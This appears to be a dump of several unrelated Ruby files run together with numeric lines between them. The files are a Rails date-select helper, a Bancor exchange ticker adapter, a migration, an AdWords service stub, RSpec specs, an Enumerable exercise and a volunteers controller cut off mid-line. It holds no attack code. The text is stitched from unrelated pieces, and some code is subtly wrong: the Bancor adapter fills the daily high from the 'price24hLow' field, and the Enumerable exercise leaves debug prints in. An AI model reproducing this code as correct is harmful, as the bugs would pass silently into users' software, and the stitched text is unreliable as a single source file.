html_options = {}) DateTimeSelector.new(datetime, options, html_options).select_second end # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected. # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer. # Override the field name using the <tt>:field_name</tt> option, 'minute' by default. # # my_time = Time.now + 10.minutes # # # Generates a select field for minutes that defaults to the minutes for the time in my_time. # select_minute(my_time) # # # Generates a select field for minutes that defaults to the number given. # select_minute(14) # # # Generates a select field for minutes that defaults to the minutes for the time in my_time # # that is named 'moment' rather than 'minute'. # select_minute(my_time, field_name: 'moment') # # # Generates a select field for minutes with a custom prompt. Use <tt>prompt: true</tt> for a # # generic prompt. # select_minute(14, prompt: 'Choose minutes') def select_minute(datetime, options = {}, html_options = {}) DateTimeSelector.new(datetime, options, html_options).select_minute end # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer. # Override the field name using the <tt>:field_name</tt> option, 'hour' by default. # # my_time = Time.now + 6.hours # # # Generates a select field for hours that defaults to the hour for the time in my_time. # select_hour(my_time) # # # Generates a select field for hours that defaults to the number given. # select_hour(13) # # # Generates a select field for hours that defaults to the hour for the time in my_time # # that is named 'stride' rather than 'hour'. # select_hour(my_time, field_name: 'stride') # # # Generates a select field for hours with a custom prompt. Use <tt>prompt: true</tt> for a # # generic prompt. # select_hour(13, prompt: 'Choose hour') # # # Generate a select field for hours in the AM/PM format # select_hour(my_time, ampm: true) # # # Generates a select field that includes options for hours from 2 to 14. # select_hour(my_time, start_hour: 2, end_hour: 14) def select_hour(datetime, options = {}, html_options = {}) DateTimeSelector.new(datetime, options, html_options).select_hour end # Returns a select tag with options for each of the days 1 through 31 with the current day selected. # The <tt>date</tt> can also be substituted for a day number. # If you want to display days with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true. # Override the field name using the <tt>:field_name</tt> option, 'day' by default. # # my_date = Time.now + 2.days # # # Generates a select field for days that defaults to the day for the date in my_date. # select_day(my_date) # # # Generates a select field for days that defaults to the number given. # select_day(5) # # # Generates a select field for days that defaults to the number given, but displays it with two digits. # select_day(5, use_two_digit_numbers: true) # # # Generates a select field for days that defaults to the day for the date in my_date # # that is named 'due' rather than 'day'. # select_day(my_date, field_name: 'due') # # # Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a # # generic prompt. # select_day(5, prompt: 'Choose day') def select_day(date, options = {}, html_options = {}) DateTimeSelector.new(date, options, html_options).select_day end # Returns a select tag with options for each of the months January through December with the current month # selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are # used as values (what's submitted to the server). It's also possible to use month numbers for the presentation # instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you # want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer # to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want # to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names. # If you want to display months with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true. # Override the field name using the <tt>:field_name</tt> option, 'month' by default. # # # Generates a select field for months that defaults to the current month that # # will use keys like "January", "March". # select_month(Date.today) # # # Generates a select field for months that defaults to the current month that # # is named "start" rather than "month". # select_month(Date.today, field_name: 'start') # # # Generates a select field for months that defaults to the current month that # # will use keys like "1", "3". # select_month(Date.today, use_month_numbers: true) # # # Generates a select field for months that defaults to the current month that # # will use keys like "1 - January", "3 - March". # select_month(Date.today, add_month_numbers: true) # # # Generates a select field for months that defaults to the current month that # # will use keys like "Jan", "Mar". # select_month(Date.today, use_short_month: true) # # # Generates a select field for months that defaults to the current month that # # will use keys like "Januar", "Marts." # select_month(Date.today, use_month_names: %w(Januar Februar Marts ...)) # # # Generates a select field for months that defaults to the current month that # # will use keys with two digit numbers like "01", "03". # select_month(Date.today, use_two_digit_numbers: true) # # # Generates a select field for months with a custom prompt. Use <tt>prompt: true</tt> for a # # generic prompt. # select_month(14, prompt: 'Choose month') def select_month(date, options = {}, html_options = {}) DateTimeSelector.new(date, options, html_options).select_month end # Returns a select tag with options for each of the five years on each side of the current, which is selected. # The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the # +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or # greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number. # Override the field name using the <tt>:field_name</tt> option, 'year' by default. # # # Generates a select field for years that defaults to the current year that # # has ascending year values. # select_year(Date.today, start_year: 1992, end_year: 2007) # # # Generates a select field for years that defaults to the current year that # # is named 'birth' rather than 'year'. # select_year(Date.today, field_name: 'birth') # # # Generates a select field for years that defaults to the current year that # # has descending year values. # select_year(Date.today, start_year: 2005, end_year: 1900) # # # Generates a select field for years that defaults to the year 2006 that # # has ascending year values. # select_year(2006, start_year: 2000, end_year: 2010) # # # Generates a select field for years with a custom prompt. Use <tt>prompt: true</tt> for a # # generic prompt. # select_year(14, prompt: 'Choose year') def select_year(date, options = {}, html_options = {}) DateTimeSelector.new(date, options, html_options).select_year end # Returns an HTML time tag for the given date or time. # # time_tag Date.today # => # <time datetime="2010-11-04">November 04, 2010</time> # time_tag Time.now # => # <time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time> # time_tag Date.yesterday, 'Yesterday' # => # <time datetime="2010-11-03">Yesterday</time> # time_tag Date.today, datetime: Date.today.strftime('%G-W%V') # => # <time datetime="2010-W44">November 04, 2010</time> # # <%= time_tag Time.now do %> # <span>Right now</span> # <% end %> # # => <time datetime="2010-11-04T17:55:45+01:00"><span>Right now</span></time> def time_tag(date_or_time, *args, &block) options = args.extract_options! format = options.delete(:format) || :long content = args.first || I18n.l(date_or_time, format: format) content_tag("time", content, options.reverse_merge(datetime: date_or_time.iso8601), &block) end private def normalize_distance_of_time_argument_to_time(value) if value.is_a?(Numeric) Time.at(value) elsif value.respond_to?(:to_time) value.to_time else raise ArgumentError, "#{value.inspect} can't be converted to a Time value" end end end class DateTimeSelector #:nodoc: include ActionView::Helpers::TagHelper DEFAULT_PREFIX = "date" POSITION = { year: 1, month: 2, day: 3, hour: 4, minute: 5, second: 6 }.freeze AMPM_TRANSLATION = Hash[ [[0, "12 AM"], [1, "01 AM"], [2, "02 AM"], [3, "03 AM"], [4, "04 AM"], [5, "05 AM"], [6, "06 AM"], [7, "07 AM"], [8, "08 AM"], [9, "09 AM"], [10, "10 AM"], [11, "11 AM"], [12, "12 PM"], [13, "01 PM"], [14, "02 PM"], [15, "03 PM"], [16, "04 PM"], [17, "05 PM"], [18, "06 PM"], [19, "07 PM"], [20, "08 PM"], [21, "09 PM"], [22, "10 PM"], [23, "11 PM"]] ].freeze def initialize(datetime, options = {}, html_options = {}) @options = options.dup @html_options = html_options.dup @datetime = datetime @options[:datetime_separator] ||= " &mdash; " @options[:time_separator] ||= " : " end def select_datetime order = date_order.dup order -= [:hour, :minute, :second] @options[:discard_year] ||= true unless order.include?(:year) @options[:discard_month] ||= true unless order.include?(:month) @options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day) @options[:discard_minute] ||= true if @options[:discard_hour] @options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute] set_day_if_discarded if @options[:tag] && @options[:ignore_date] select_time else [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) } order += [:hour, :minute, :second] unless @options[:discard_hour] build_selects_from_types(order) end end def select_date order = date_order.dup @options[:discard_hour] = true @options[:discard_minute] = true @options[:discard_second] = true @options[:discard_year] ||= true unless order.include?(:year) @options[:discard_month] ||= true unless order.include?(:month) @options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day) set_day_if_discarded [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) } build_selects_from_types(order) end def select_time order = [] @options[:discard_month] = true @options[:discard_year] = true @options[:discard_day] = true @options[:discard_second] ||= true unless @options[:include_seconds] order += [:year, :month, :day] unless @options[:ignore_date] order += [:hour, :minute] order << :second if @options[:include_seconds] build_selects_from_types(order) end def select_second if @options[:use_hidden] || @options[:discard_second] build_hidden(:second, sec) if @options[:include_seconds] else build_options_and_select(:second, sec) end end def select_minute if @options[:use_hidden] || @options[:discard_minute] build_hidden(:minute, min) else build_options_and_select(:minute, min, step: @options[:minute_step]) end end def select_hour if @options[:use_hidden] || @options[:discard_hour] build_hidden(:hour, hour) else options = {} options[:ampm] = @options[:ampm] || false options[:start] = @options[:start_hour] || 0 options[:end] = @options[:end_hour] || 23 build_options_and_select(:hour, hour, options) end end def select_day if @options[:use_hidden] || @options[:discard_day] build_hidden(:day, day || 1) else build_options_and_select(:day, day, start: 1, end: 31, leading_zeros: false, use_two_digit_numbers: @options[:use_two_digit_numbers]) end end def select_month if @options[:use_hidden] || @options[:discard_month] build_hidden(:month, month || 1) else month_options = [] 1.upto(12) do |month_number| options = { value: month_number } options[:selected] = "selected" if month == month_number month_options << content_tag("option", month_name(month_number), options) + "\n" end build_select(:month, month_options.join) end end def select_year if !year || @datetime == 0 val = "1" middle_year = Date.today.year else val = middle_year = year end if @options[:use_hidden] || @options[:discard_year] build_hidden(:year, val) else options = {} options[:start] = @options[:start_year] || middle_year - 5 options[:end] = @options[:end_year] || middle_year + 5 options[:step] = options[:start] < options[:end] ? 1 : -1 options[:leading_zeros] = false options[:max_years_allowed] = @options[:max_years_allowed] || 1000 if (options[:end] - options[:start]).abs > options[:max_years_allowed] raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter." end build_select(:year, build_year_options(val, options)) end end private %w( sec min hour day month year ).each do |method| define_method(method) do case @datetime when Hash then @datetime[method.to_sym] when Numeric then @datetime when nil then nil else @datetime.send(method) end end end # If the day is hidden, the day should be set to the 1st so all month and year choices are # valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid. def set_day_if_discarded if @datetime && @options[:discard_day] @datetime = @datetime.change(day: 1) end end # Returns translated month names, but also ensures that a custom month # name array has a leading +nil+ element. def month_names @month_names ||= begin month_names = @options[:use_month_names] || translated_month_names month_names.unshift(nil) if month_names.size < 13 month_names end end # Returns translated month names. # => [nil, "January", "February", "March", # "April", "May", "June", "July", # "August", "September", "October", # "November", "December"] # # If <tt>:use_short_month</tt> option is set # => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun", # "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"] def translated_month_names key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names' I18n.translate(key, locale: @options[:locale]) end # Looks up month names by number (1-based): # # month_name(1) # => "January" # # If the <tt>:use_month_numbers</tt> option is passed: # # month_name(1) # => 1 # # If the <tt>:use_two_month_numbers</tt> option is passed: # # month_name(1) # => '01' # # If the <tt>:add_month_numbers</tt> option is passed: # # month_name(1) # => "1 - January" # # If the <tt>:month_format_string</tt> option is passed: # # month_name(1) # => "January (01)" # # depending on the format string. def month_name(number) if @options[:use_month_numbers] number elsif @options[:use_two_digit_numbers] "%02d" % number elsif @options[:add_month_numbers] "#{number} - #{month_names[number]}" elsif format_string = @options[:month_format_string] format_string % { number: number, name: month_names[number] } else month_names[number] end end # Looks up year names by number. # # year_name(1998) # => 1998 # # If the <tt>:year_format</tt> option is passed: # # year_name(1998) # => "Heisei 10" def year_name(number) if year_format_lambda = @options[:year_format] year_format_lambda.call(number) else number end end def date_order @date_order ||= @options[:order] || translated_date_order end def translated_date_order date_order = I18n.translate(:'date.order', locale: @options[:locale], default: []) date_order = date_order.map(&:to_sym) forbidden_elements = date_order - [:year, :month, :day] if forbidden_elements.any? raise StandardError, "#{@options[:locale]}.date.order only accepts :year, :month and :day" end date_order end # Build full select tag from date type and options. def build_options_and_select(type, selected, options = {}) build_select(type, build_options(selected, options)) end # Build select option HTML from date value and options. # build_options(15, start: 1, end: 31) # => "<option value="1">1</option> # <option value="2">2</option> # <option value="3">3</option>..." # # If <tt>use_two_digit_numbers: true</tt> option is passed # build_options(15, start: 1, end: 31, use_two_digit_numbers: true) # => "<option value="1">01</option> # <option value="2">02</option> # <option value="3">03</option>..." # # If <tt>:step</tt> options is passed # build_options(15, start: 1, end: 31, step: 2) # => "<option value="1">1</option> # <option value="3">3</option> # <option value="5">5</option>..." def build_options(selected, options = {}) options = { leading_zeros: true, ampm: false, use_two_digit_numbers: false }.merge!(options) start = options.delete(:start) || 0 stop = options.delete(:end) || 59 step = options.delete(:step) || 1 leading_zeros = options.delete(:leading_zeros) select_options = [] start.step(stop, step) do |i| value = leading_zeros ? sprintf("%02d", i) : i tag_options = { value: value } tag_options[:selected] = "selected" if selected == i text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value text = options[:ampm] ? AMPM_TRANSLATION[i] : text select_options << content_tag("option", text, tag_options) end (select_options.join("\n") + "\n").html_safe end # Build select option HTML for year. # If <tt>year_format</tt> option is not passed # build_year_options(1998, start: 1998, end: 2000) # => "<option value="1998" selected="selected">1998</option> # <option value="1999">1999</option> # <option value="2000">2000</option>" # # If <tt>year_format</tt> option is passed # build_year_options(1998, start: 1998, end: 2000, year_format: ->year { "Heisei #{ year - 1988 }" }) # => "<option value="1998" selected="selected">Heisei 10</option> # <option value="1999">Heisei 11</option> # <option value="2000">Heisei 12</option>" def build_year_options(selected, options = {}) start = options.delete(:start) stop = options.delete(:end) step = options.delete(:step) select_options = [] start.step(stop, step) do |value| tag_options = { value: value } tag_options[:selected] = "selected" if selected == value text = year_name(value) select_options << content_tag("option", text, tag_options) end (select_options.join("\n") + "\n").html_safe end # Builds select tag from date type and HTML select options. # build_select(:month, "<option value="1">January</option>...") # => "<select id="post_written_on_2i" name="post[written_on(2i)]"> # <option value="1">January</option>... # </select>" def build_select(type, select_options_as_html) select_options = { id: input_id_from_type(type), name: input_name_from_type(type) }.merge!(@html_options) select_options[:disabled] = "disabled" if @options[:disabled] select_options[:class] = css_class_attribute(type, select_options[:class], @options[:with_css_classes]) if @options[:with_css_classes] select_html = +"\n" select_html << content_tag("option", "", value: "", label: " ") + "\n" if @options[:include_blank] select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt] select_html << select_options_as_html (content_tag("select", select_html.html_safe, select_options) + "\n").html_safe end # Builds the CSS class value for the select element # css_class_attribute(:year, 'date optional', { year: 'my-year' }) # => "date optional my-year" def css_class_attribute(type, html_options_class, options) # :nodoc: css_class = \ case options when Hash options[type.to_sym] else type end [html_options_class, css_class].compact.join(" ") end # Builds a prompt option tag with supplied options or from default options. # prompt_option_tag(:month, prompt: 'Select month') # => "<option value="">Select month</option>" def prompt_option_tag(type, options) prompt = \ case options when Hash default_options = { year: false, month: false, day: false, hour: false, minute: false, second: false } default_options.merge!(options)[type.to_sym] when String options else I18n.translate(:"datetime.prompts.#{type}", locale: @options[:locale]) end prompt ? content_tag("option", prompt, value: "") : "" end # Builds hidden input tag for date part and value. # build_hidden(:year, 2008) # => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />" def build_hidden(type, value) select_options = { type: "hidden", id: input_id_from_type(type), name: input_name_from_type(type), value: value }.merge!(@html_options.slice(:disabled)) select_options[:disabled] = "disabled" if @options[:disabled] tag(:input, select_options) + "\n".html_safe end # Returns the name attribute for the input tag. # => post[written_on(1i)] def input_name_from_type(type) prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX prefix += "[#{@options[:index]}]" if @options.has_key?(:index) field_name = @options[:field_name] || type.to_s if @options[:include_position] field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)" end @options[:discard_type] ? prefix : "#{prefix}[#{field_name}]" end # Returns the id attribute for the input tag. # => "post_written_on_1i" def input_id_from_type(type) id = input_name_from_type(type).gsub(/([\[(])|(\]\[)/, "_").gsub(/[\])]/, "") id = @options[:namespace] + "_" + id if @options[:namespace] id end # Given an ordering of datetime components, create the selection HTML # and join them with their appropriate separators. def build_selects_from_types(order) select = +"" first_visible = order.find { |type| !@options[:"discard_#{type}"] } order.reverse_each do |type| separator = separator(type) unless type == first_visible # don't add before first visible field select.insert(0, separator.to_s + public_send("select_#{type}").to_s) end select.html_safe end # Returns the separator for a given datetime component. def separator(type) return "" if @options[:use_hidden] case type when :year, :month, :day @options[:"discard_#{type}"] ? "" : @options[:date_separator] when :hour (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator] when :minute, :second @options[:"discard_#{type}"] ? "" : @options[:time_separator] end end end class FormBuilder # Wraps ActionView::Helpers::DateHelper#date_select for form builders: # # <%= form_for @person do |f| %> # <%= f.date_select :birth_date %> # <%= f.submit %> # <% end %> # # Please refer to the documentation of the base helper for details. def date_select(method, options = {}, html_options = {}) @template.date_select(@object_name, method, objectify_options(options), html_options) end # Wraps ActionView::Helpers::DateHelper#time_select for form builders: # # <%= form_for @race do |f| %> # <%= f.time_select :average_lap %> # <%= f.submit %> # <% end %> # # Please refer to the documentation of the base helper for details. def time_select(method, options = {}, html_options = {}) @template.time_select(@object_name, method, objectify_options(options), html_options) end # Wraps ActionView::Helpers::DateHelper#datetime_select for form builders: # # <%= form_for @person do |f| %> # <%= f.datetime_select :last_request_at %> # <%= f.submit %> # <% end %> # # Please refer to the documentation of the base helper for details. def datetime_select(method, options = {}, html_options = {}) @template.datetime_select(@object_name, method, objectify_options(options), html_options) end end end end
51.211667
175
0.605412
08dde6967bd7c53c57568ccbe2719f719f24561c
1,292
module Cryptoexchange::Exchanges module Bancor module Services class Market < Cryptoexchange::Services::Market class << self def supports_individual_ticker_query? true end end def fetch(market_pair) output = super(ticker_url(market_pair)) adapt(output, market_pair) end def ticker_url(market_pair) "#{Cryptoexchange::Exchanges::Bancor::Market::API_URL}/currencies/#{market_pair.base}/ticker?fromCurrencyCode=#{market_pair.target}" end def adapt(output, market_pair) ticker = Cryptoexchange::Models::Ticker.new ticker.base = market_pair.base ticker.target = market_pair.target ticker.market = Bancor::Market::NAME ticker.last = NumericHelper.to_d(output['data']['price']) ticker.high = NumericHelper.to_d(output['data']['price24hLow']) ticker.low = NumericHelper.to_d(output['data']['price24hLow']) ticker.volume = NumericHelper.divide(NumericHelper.to_d(output['data']['volume24h'].to_f / 10 ** 18), ticker.last) ticker.timestamp = Time.now.to_i ticker.payload = output ticker end end end end end
34.918919
142
0.609133
b9c570cc6c6329703b7b828b9a96e5c9e1178668
257
# This file has the same name as the spree 3.0 migration to prevent it from # being run twice for those users. class RenameIdentifierToNumberForPayment < ActiveRecord::Migration def change rename_column :spree_payments, :identifier, :number end end
32.125
75
0.785992
f8d961d1592e83574236680f2af8edc078205895
1,346
# Encoding: utf-8 # # This is auto-generated code, changes will be overwritten. # # Copyright:: Copyright 2015, Google Inc. All Rights Reserved. # License:: Licensed under the Apache License, Version 2.0. # # Code generated by AdsCommon library 0.11.0 on 2015-10-08 10:50:36. require 'ads_common/savon_service' require 'adwords_api/v201509/feed_mapping_service_registry' module AdwordsApi; module V201509; module FeedMappingService class FeedMappingService < AdsCommon::SavonService def initialize(config, endpoint) namespace = 'https://adwords.google.com/api/adwords/cm/v201509' super(config, endpoint, namespace, :v201509) end def get(*args, &block) return execute_action('get', args, &block) end def get_to_xml(*args) return get_soap_xml('get', args) end def mutate(*args, &block) return execute_action('mutate', args, &block) end def mutate_to_xml(*args) return get_soap_xml('mutate', args) end def query(*args, &block) return execute_action('query', args, &block) end def query_to_xml(*args) return get_soap_xml('query', args) end private def get_service_registry() return FeedMappingServiceRegistry end def get_module() return AdwordsApi::V201509::FeedMappingService end end end; end; end
24.472727
69
0.696137
f73083dc43cc949560311353295b65836978f4d8
2,114
require 'rails_helper' RSpec.describe UnfriendsBuilder do describe '#unfriends' do end describe '#unfollowers' do end end RSpec.describe UnfriendsBuilder::Util do let(:older) { TwitterUser.new } let(:newer) { TwitterUser.new } before do allow(older).to receive(:friend_uids).with(no_args).and_return([1, 2, 3]) allow(older).to receive(:follower_uids).with(no_args).and_return([4, 5, 6]) if newer allow(newer).to receive(:friend_uids).with(no_args).and_return([2, 3, 4]) allow(newer).to receive(:follower_uids).with(no_args).and_return([5, 6, 7]) end end def users(uid, created_at) TwitterUser.where('created_at <= ?', created_at).creation_completed.where(uid: uid).select(:id).order(created_at: :asc) end describe '.users' do let(:time) { Time.zone.now - 10.second } let(:uid) { 1 } let(:limit) { 2 } let(:users) { described_class.users(uid, @user.created_at) } before do build(:twitter_user, uid: uid, created_at: time + 1.second).save!(validate: false) build(:twitter_user, uid: uid, created_at: time + 2.second).tap do |user| user.save!(validate: false) user.update(friends_size: 0, followers_size: 0) end (@user = build(:twitter_user, uid: uid, created_at: time + 3.second)).save!(validate: false) build(:twitter_user, uid: uid, created_at: time + 4.second).save!(validate: false) create(:twitter_user, uid: uid + 1) end it do expect(users.size).to eq(2) expect(TwitterUser.find(users[0].id).created_at).to be < TwitterUser.find(users[1].id).created_at end end describe '.unfriends' do subject { described_class.unfriends(older, newer) } it { is_expected.to match_array([1]) } context 'newer.nil? == true' do let(:newer) { nil } it { is_expected.to be_nil } end end describe '.unfollowers' do subject { described_class.unfollowers(older, newer) } it { is_expected.to match_array([4]) } context 'newer.nil? == true' do let(:newer) { nil } it { is_expected.to be_nil } end end end
28.567568
123
0.652318
bb809ba841e7e0b2f4a5248c2d6dbb02b48d6f68
3,159
require 'spec_helper' #from spec/support/surveyforms_helpers.rb include SurveyFormsCreationHelpers::CreateSurvey include SurveyFormsCreationHelpers::BuildASurvey feature "User creates a dependency using browser", %q{ As a user I want to create logic on questions So that I can display one question depending on the answer to another} do let!(:survey){FactoryGirl.create(:survey, title: "Hotel ratings")} let!(:survey_section){FactoryGirl.create(:survey_section, survey: survey)} let!(:question1) {FactoryGirl.create(:question, survey_section: survey_section, text: "Rate the service")} let!(:answer1) {FactoryGirl.create(:answer, question: question1, text: "yes", display_type: "default", response_class: "answer")} let!(:answer2) {FactoryGirl.create(:answer, question: question1, text: "no", display_type: "default", response_class: "answer")} let!(:question2) {FactoryGirl.create(:question, survey_section: survey_section, text: "Who was your concierge?")} let!(:answer2) {FactoryGirl.create(:answer, question: question2)} before :each do question1.pick = "one" question1.save! question1.reload end scenario "user creates a dependency", js: true do #Given I have a survey with two questions visit surveyor_gui.surveyforms_path # page.save_screenshot(File.join(Rails.root, "tmp", "hotel.png"), :full => true) expect(page).to have_content("Hotel ratings") within "tr", text: "Hotel ratings" do click_link "Edit" end expect(page).to have_content("Rate the service") #And I click Add Logic on the second question within "fieldset.questions", text: "Who was your concierge" do click_button "Add Logic" end #Then I see a window pop-up within ".modal" do #And it has logic, which defaults to checking the first question for the answer "yes" expect(page).to have_content("conditions") expect(page).to have_css("option", text: 'Rate the service') expect(page).to have_css("option", text: 'equal to') expect(page).to have_css("option", text: 'yes') click_button "Save Changes" end #Then I see that this survey has been updated to include a dependency expect(page).to have_content("This question is shown depending on the answer to question 1).") visit surveyor_path expect(page).to have_content("You may take these surveys") within "li", text: "Hotel ratings" do #And I take the newly created survey click_button "Take it" end expect(page).to have_content("Hotel ratings") expect(page).to have_content("Rate the service") expect(page).to have_css('input[type="radio"][value="'+answer1.id.to_s+'"]') #Then I don't see the second question just yet expect(page).not_to have_content("Who was your concierge?") #When I click yes as the answer to the first question find("input[value='#{answer1.id}']").trigger('click') #Then the second question magically appears # don't know why this isn't working..... page.save_screenshot(File.join(Rails.root, "tmp", "hotel.png"), :full => true) expect(page).to have_content("Who was your concierge?") end end
45.782609
131
0.709402
4a5f9130a0dab795a4d5200e0801e653952ba119
1,339
# -*- coding:utf-8; mode:ruby; -*- require 'rbindkeys' require 'revdev' include Rbindkeys describe DeviceOperator do before do @dev = double Device @vdev = double VirtualDevice @operator = DeviceOperator.new @dev, @vdev end describe "#send_key" do context "with a code and a press value" do before do @code = 10 @value = 1 end it "should call #send_event" do expect(@operator).to receive(:send_event).with(Revdev::EV_KEY, @code, @value) @operator.send_key @code, @value end end end context "#send_event" do context "with normal values" do before do @type = Revdev::EV_KEY @code = 10 @value = 1 end it "should send a #write_input_event to @vdev" do expect(@vdev).to receive(:write_input_event) do |ie| expect(ie.code).to be @code 10 end @operator.send_event @type, @code, @value end end context "with an input event" do before do @ie = Revdev::InputEvent.new nil, Revdev::EV_KEY, 10, 1 end it "should send a #write_input_event to @vdev" do expect(@vdev).to receive(:write_input_event) do |ie| expect(ie).to be @ie 10 end @operator.send_event @ie end end end end
23.086207
85
0.585512
ab56453245ec1ecc5964485a1249745751e06b2a
111
require "minitest/autorun" require_relative "../lib/mccandlish" require 'webmock/minitest' include Mccandlish
18.5
36
0.810811
285861e69b67cbf031a40a71407526348d2c6076
146
# frozen_string_literal: true class UserSerializer include FastJsonapi::ObjectSerializer attributes :id, :email, :first_name, :last_name end
20.857143
49
0.80137
266e6a4ba33125b6ec2993d0df5e69f994c20b0b
6,628
module Enumerable # ############################################################################ # *************************** my_each ******************************** # ############################################################################ def my_each return to_enum(:my_each) unless block_given? ind = 0 while ind != to_a.length yield to_a[ind] ind += 1 end self end # ############################################################################ # *********************** my_each_with_endex ************************* # ############################################################################ def my_each_with_index return to_enum(:my_each_with_index) unless block_given? index = 0 my_each do |el| yield(el, index) index += 1 end self end # ############################################################################ # *************************** my_select ****************************** # ############################################################################ def my_select return to_enum(:my_select) unless block_given? filtered = [] if self.class == Hash filtered = {} my_each do |el| key = el [0] value = el [1] filtered [key] = value if yield(el[0]) end filtered else filtered = [] my_each do |el| filtered.push(el) if yield(el) end end filtered end # ############################################################################ # *************************** my_all ********************************* # ############################################################################ def my_all?(arg = nil) output = false filtered_array = if !arg # no arguments block_given? ? my_select { |el| yield(el) } : my_select { |el| el } elsif arg.is_a?(Regexp) my_select { |el| arg.match(el) } elsif arg.is_a?(Class) # if argument is not empty then checking if arg is Class or object value my_select { |el| el.class <= arg } else my_select { |el| el == arg } end output = true if filtered_array == to_a output end # ############################################################################ # *************************** my_any ********************************* # ############################################################################ def my_any?(arg = nil) output = false filtered_array = if !arg # no arguments block_given? ? my_select { |el| yield(el) } : my_select { |el| el } elsif arg.is_a?(Regexp) my_select { |el| arg.match(el) } elsif arg.is_a?(Class) # if argument is not empty then checking if arg is Class or object value my_select { |el| el.class <= arg } else my_select { |el| el == arg } end output = true unless filtered_array.to_a.empty? output end # ############################################################################ # *************************** my_none ******************************** # ############################################################################ def my_none?(arg = nil) output = false filtered_array = if !arg block_given? ? my_select { |el| yield(el) } : my_select { |el| el } elsif arg.is_a?(Regexp) my_select { |el| arg.match(el) } elsif arg.is_a?(Class) my_select { |el| el.class <= arg } else my_select { |el| el == arg } end output = true if filtered_array.to_a.empty? output end # ############################################################################ # *************************** my_count ******************************* # ############################################################################ def my_count(num = nil) if num selected = my_select { |el| el == num } selected.length else return to_a.length unless block_given? count = 0 my_each do |el| yield(el) && count += 1 end count end end # ############################################################################ # *************************** my_map ********************************* # ############################################################################ def my_map(proc_block = nil) return to_enum(:my_map) unless block_given? new_arr = [] if proc_block.class == Proc and block_given? my_each { |el| new_arr.push(proc_block.call(el)) } else my_each { |el| new_arr.push(yield(el)) } end new_arr end # ############################################################################ # *************************** my_inject ****************************** # ############################################################################ def my_inject(arg = nil, symb = nil) output = '' # if block_given? if arg.class <= Symbol || (symb.class <= Symbol and arg) # checking if one of arguments is symbol if symb.nil? ind = 1 output = to_a[0] while ind < to_a.length output = output.send(arg, to_a[ind]) ind += 1 end else output = arg my_each { |el| output = output.send(symb, el) } end elsif block_given? if arg # checking if block has default value output = arg to_a.my_each { |el| output = yield(output, el) } else ind = 1 output = to_a[0] while ind < to_a.length output = yield(output, to_a[ind]) ind += 1 end end else raise LocalJumpError, 'no block given' end output end end # ############################################################################ # *************************** multiply_els **************************** # ############################################################################ def multiply_els(arr) arr.my_inject(1) { |acc, sum| acc * sum } end p Range.new(1, 4).my_inject(-10, :/) p Range.new(1, 4).inject(-10, :/)
26.618474
101
0.33268
f8a251dd1e477d775981b797d26e64c6ec20a9e6
3,882
class VolunteersController < ApplicationController skip_before_action :authenticate_user!, only: [:new, :thank_you] before_action :set_volunteer, only: [:show, :edit, :update, :destroy] # GET /volunteers # GET /volunteers.json def index @volunteers = Volunteer.all end def index_for_selections @volunteers = Volunteer.all.map { |volunteer| { id: volunteer.id, name: volunteer.name } } respond_to do |format| format.json { render json: @volunteers } end end # GET /volunteers/1 # GET /volunteers/1.json def show end # GET /volunteers/new def new @volunteer = Volunteer.new render :new, layout: 'outreach_form_layout' end # GET /volunteers/1/edit def edit end # POST /volunteers # POST /volunteers.json def create @volunteer = Volunteer.new(volunteer_params.merge(user: current_user)) respond_to do |format| if @volunteer.save if @volunteer.ok_to_email? VolunteerMailer.welcome_email(@volunteer).deliver_later message_log = MessageLog.new(sendable: @volunteer, sent_by: User.find_by(vounteer_id: @volunteer.id), messageable: @volunteer, content: VolunteerMailer.welcome_email(@volunteer), delivery_type: "autoemail", delivery_status: "Sent", ) message_log.save end format.html { redirect_to @volunteer, notice: 'Volunteer was successfully created.' } format.json { render :show, status: :created, location: @volunteer } else format.html { render :new } format.json { render json: @volunteer.errors, status: :unprocessable_entity } end end end # PATCH/PUT /volunteers/1 # PATCH/PUT /volunteers/1.json def update respond_to do |format| if @volunteer.update(volunteer_params) format.html { redirect_to @volunteer, notice: 'Volunteer was successfully updated.' } format.json { render :show, status: :ok, location: @volunteer } else format.html { render :edit } format.json { render json: @volunteer.errors, status: :unprocessable_entity } end end end # DELETE /volunteers/1 # DELETE /volunteers/1.json def destroy @volunteer.destroy respond_to do |format| format.html { redirect_to volunteers_url, notice: 'Volunteer was successfully destroyed.' } format.json { head :no_content } end end def thank_you respond_to do |format| format.html { render :layout => "outreach_form_layout" } end end def import if params[:file].nil? redirect_to 